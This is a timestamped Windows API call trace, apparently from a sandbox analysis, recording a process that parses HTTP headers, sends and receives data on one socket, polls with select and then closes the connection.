	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Accept", cchCount2=6) returned 3
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Accept", cchCount2=6) returned 3
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-LENGTH", cchCount1=14, lpString2="Accept", cchCount2=6) returned 3
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="HOST", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="User-Agent", cchCount2=10) returned 1
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="User-Agent", cchCount2=10) returned 1
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-LENGTH", cchCount1=14, lpString2="User-Agent", cchCount2=10) returned 1
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="HOST", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="ACCEPT", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1
	[0112.490] GetProcAddressForCaller () returned 0x7793ce20
	[0112.490] send (in: s=0x478, buf=0x292f78*, len=239, flags=0 | out: buf=0x292f78*) returned 239
	[0112.491] GetCurrentThreadId () returned 0xd04
	[0112.491] RtlLockHeap (Heap=0x230000) returned 1
	[0112.491] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x292f78, UserValue=0x19fa00, UserFlags=0x19f9fc | out: UserValue=0x19fa00*=0x73d0014, UserFlags=0x19f9fc) returned 1
	[0112.491] RtlLockHeap (Heap=0x230000) returned 1
	[0112.491] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0010) returned 1
	[0112.491] RtlRestoreLastWin32Error () returned 0x0
	[0112.491] RtlLockHeap (Heap=0x230000) returned 1
	[0112.491] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x290f68, UserValue=0x19fa54, UserFlags=0x19fa50 | out: UserValue=0x19fa54*=0x73d000c, UserFlags=0x19fa50) returned 1
	[0112.491] RtlLockHeap (Heap=0x230000) returned 1
	[0112.491] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0008) returned 1
	[0112.491] RtlRestoreLastWin32Error () returned 0x0
	[0112.492] send (in: s=0x478, buf=0x298f78*, len=42, flags=0 | out: buf=0x298f78*) returned 42
	[0112.492] GetCurrentThreadId () returned 0xd04
	[0112.492] RtlLockHeap (Heap=0x230000) returned 1
	[0112.492] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x298f78, UserValue=0x19fa1c, UserFlags=0x19fa18 | out: UserValue=0x19fa1c*=0x73d0014, UserFlags=0x19fa18) returned 1
	[0112.493] RtlLockHeap (Heap=0x230000) returned 1
	[0112.493] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0010) returned 1
	[0112.493] RtlRestoreLastWin32Error () returned 0x0
	[0112.493] RtlLockHeap (Heap=0x230000) returned 1
	[0112.493] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x290f68, UserValue=0x19fa68, UserFlags=0x19fa64 | out: UserValue=0x19fa68*=0x73d000c, UserFlags=0x19fa64) returned 1
	[0112.493] RtlLockHeap (Heap=0x230000) returned 1
	[0112.493] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0008) returned 1
	[0112.493] RtlRestoreLastWin32Error () returned 0x0
	[0112.494] GetProcAddressForCaller () returned 0x779448e0
	[0112.494] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0112.961] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0113.496] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0113.757] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0114.007] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0114.257] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0114.507] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0114.757] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0115.007] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0115.257] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0115.576] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0116.304] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0116.565] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 0
	[0117.058] select (in: nfds=0, readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740, timeout=0x19fa4c | out: readfds=0x19f948, writefds=0x19f844, exceptfds=0x19f740) returned 1
	[0117.293] GetProcAddressForCaller () returned 0x7793cff0
	[0117.293] recv (in: s=0x478, buf=0x290f68, len=32768, flags=0 | out: buf=0x290f68*) returned 236
	[0117.293] RtlLockHeap (Heap=0x230000) returned 1
	[0117.293] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x290f68, UserValue=0x19fa44, UserFlags=0x19fa40 | out: UserValue=0x19fa44*=0x73d000c, UserFlags=0x19fa40) returned 1
	[0117.293] RtlLockHeap (Heap=0x230000) returned 1
	[0117.293] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0008) returned 1
	[0117.293] RtlRestoreLastWin32Error () returned 0x0
	[0117.293] RtlLockHeap (Heap=0x230000) returned 1
	[0117.293] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0008) returned 1
	[0117.294] RtlLockHeap (Heap=0x230000) returned 1
	[0117.294] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0010) returned 1
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Location", cchCount2=8) returned 1
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Location", cchCount2=8) returned 3
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Location", cchCount2=8) returned 3
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Location", cchCount2=8) returned 1
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Location", cchCount2=8) returned 1
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Location", cchCount2=8) returned 1
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Location", cchCount2=8) returned 3
	[0117.294] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Location", cchCount2=8) returned 1
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Server", cchCount2=6) returned 1
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Server", cchCount2=6) returned 2
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Proxy-Connection", cchCount2=16) returned 1
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Proxy-Connection", cchCount2=16) returned 3
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Proxy-Connection", cchCount2=16) returned 3
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Proxy-Connection", cchCount2=16) returned 1
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Proxy-Connection", cchCount2=16) returned 1
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Proxy-Connection", cchCount2=16) returned 1
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Proxy-Connection", cchCount2=16) returned 3
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Proxy-Connection", cchCount2=16) returned 1
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3
	[0117.295] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Content-Range", cchCount2=13) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Content-Range", cchCount2=13) returned 1
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Content-Range", cchCount2=13) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="DATE", cchCount2=4) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="SERVER", cchCount2=6) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="UPGRADE", cchCount2=7) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="CONNECTION", cchCount2=10) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="CACHE-CONTROL", cchCount2=13) returned 3
	[0117.296] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="EXPIRES", cchCount2=7) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="VARY", cchCount2=4) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="WWW-Authenticate", cchCount1=16, lpString2="CONTENT-TYPE", cchCount2=12) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="DATE", cchCount2=4) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="SERVER", cchCount2=6) returned 1
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="UPGRADE", cchCount2=7) returned 1
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="CONNECTION", cchCount2=10) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="CACHE-CONTROL", cchCount2=13) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="EXPIRES", cchCount2=7) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="VARY", cchCount2=4) returned 1
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Proxy-Authenticate", cchCount1=18, lpString2="CONTENT-TYPE", cchCount2=12) returned 3
	[0117.297] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Connection", cchCount2=10) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Connection", cchCount2=10) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Content-Version", cchCount2=15) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Content-Version", cchCount2=15) returned 1
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Content-Version", cchCount2=15) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1
	[0117.298] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Content-Encoding", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Content-Encoding", cchCount2=16) returned 1
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Content-Encoding", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Content-Language", cchCount2=16) returned 3
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1
	[0117.299] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Content-Language", cchCount2=16) returned 1
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Content-Language", cchCount2=16) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Content-Type", cchCount2=12) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Content-Type", cchCount2=12) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Type", cchCount2=12) returned 1
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Content-Type", cchCount2=12) returned 1
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Content-Type", cchCount2=12) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2
	[0117.300] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Content-Length", cchCount2=14) returned 3
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Content-Length", cchCount2=14) returned 1
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Content-Length", cchCount2=14) returned 3
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3
	[0117.301] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Date", cchCount2=4) returned 2
	[0117.301] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19f99c | out: lpTimeZoneInformation=0x19f99c) returned 0x1
	[0117.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Last-Modified", cchCount2=13) returned 1
	[0117.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Last-Modified", cchCount2=13) returned 3
	[0117.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Last-Modified", cchCount2=13) returned 3
	[0117.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Last-Modified", cchCount2=13) returned 1
	[0117.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Last-Modified", cchCount2=13) returned 1
	[0117.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Last-Modified", cchCount2=13) returned 1
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Last-Modified", cchCount2=13) returned 3
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Last-Modified", cchCount2=13) returned 1
	[0117.361] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19f99c | out: lpTimeZoneInformation=0x19f99c) returned 0x1
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Expires", cchCount2=7) returned 1
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Expires", cchCount2=7) returned 3
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Expires", cchCount2=7) returned 3
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Expires", cchCount2=7) returned 1
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Expires", cchCount2=7) returned 1
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Expires", cchCount2=7) returned 2
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Expires", cchCount2=7) returned 1
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Expires", cchCount2=7) returned 3
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Expires", cchCount2=7) returned 3
	[0117.361] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Expires", cchCount2=7) returned 1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Expires", cchCount2=7) returned 1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Expires", cchCount2=7) returned 2
	[0117.362] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19f99c | out: lpTimeZoneInformation=0x19f99c) returned 0x1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Pragma", cchCount2=6) returned 1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Pragma", cchCount2=6) returned 3
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Pragma", cchCount2=6) returned 3
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Pragma", cchCount2=6) returned 1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Pragma", cchCount2=6) returned 1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Pragma", cchCount2=6) returned 1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Pragma", cchCount2=6) returned 3
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Pragma", cchCount2=6) returned 1
	[0117.362] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="DATE", cchCount1=4, lpString2="Transfer-Encoding", cchCount2=17) returned 1
	[0117.363] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="SERVER", cchCount1=6, lpString2="Transfer-Encoding", cchCount2=17) returned 1
	[0117.363] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="UPGRADE", cchCount1=7, lpString2="Transfer-Encoding", cchCount2=17) returned 3
	[0117.363] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Transfer-Encoding", cchCount2=17) returned 1
	[0117.363] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CACHE-CONTROL", cchCount1=13, lpString2="Transfer-Encoding", cchCount2=17) returned 1
	[0117.363] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="EXPIRES", cchCount1=7, lpString2="Transfer-Encoding", cchCount2=17) returned 1
	[0117.363] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="VARY", cchCount1=4, lpString2="Transfer-Encoding", cchCount2=17) returned 3
	[0117.363] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Transfer-Encoding", cchCount2=17) returned 1
	[0117.363] RtlLockHeap (Heap=0x230000) returned 1
	[0117.363] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x292f78, UserValue=0x19fa18, UserFlags=0x19fa14 | out: UserValue=0x19fa18*=0x73d0014, UserFlags=0x19fa14) returned 1
	[0117.363] RtlLockHeap (Heap=0x230000) returned 1
	[0117.363] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0010) returned 1
	[0117.363] RtlRestoreLastWin32Error () returned 0x0
	[0117.364] VirtualAlloc (lpAddress=0x721c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x721c000
	[0117.364] select (in: nfds=0, readfds=0x19f8a4, writefds=0x19f7a0, exceptfds=0x19f69c, timeout=0x19f9a8 | out: readfds=0x19f8a4, writefds=0x19f7a0, exceptfds=0x19f69c) returned 0
	[0117.603] VirtualFree (lpAddress=0x7224000, dwSize=0x4000, dwFreeType=0x4000) returned 1
	[0117.604] select (in: nfds=0, readfds=0x19f8a4, writefds=0x19f7a0, exceptfds=0x19f69c, timeout=0x19f9a8 | out: readfds=0x19f8a4, writefds=0x19f7a0, exceptfds=0x19f69c) returned 1
	[0117.643] RtlLockHeap (Heap=0x230000) returned 1
	[0117.643] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x290f68, UserValue=0x19f9a0, UserFlags=0x19f99c | out: UserValue=0x19f9a0*=0x73d000c, UserFlags=0x19f99c) returned 1
	[0117.643] RtlLockHeap (Heap=0x230000) returned 1
	[0117.643] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0008) returned 1
	[0117.643] RtlRestoreLastWin32Error () returned 0x0
	[0117.643] RtlLockHeap (Heap=0x230000) returned 1
	[0117.643] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0008) returned 1
	[0117.644] recv (in: s=0x478, buf=0x290f68, len=32768, flags=0 | out: buf=0x290f68) returned 0
	[0117.644] GetProcAddressForCaller () returned 0x779414e0
	[0117.644] shutdown (s=0x478, how=1) returned 0
	[0117.644] GetProcAddressForCaller () returned 0x77939ba0
	[0117.644] closesocket (s=0x478) returned 0
	[0117.644] LoadStringBaseExW () returned 0x1d
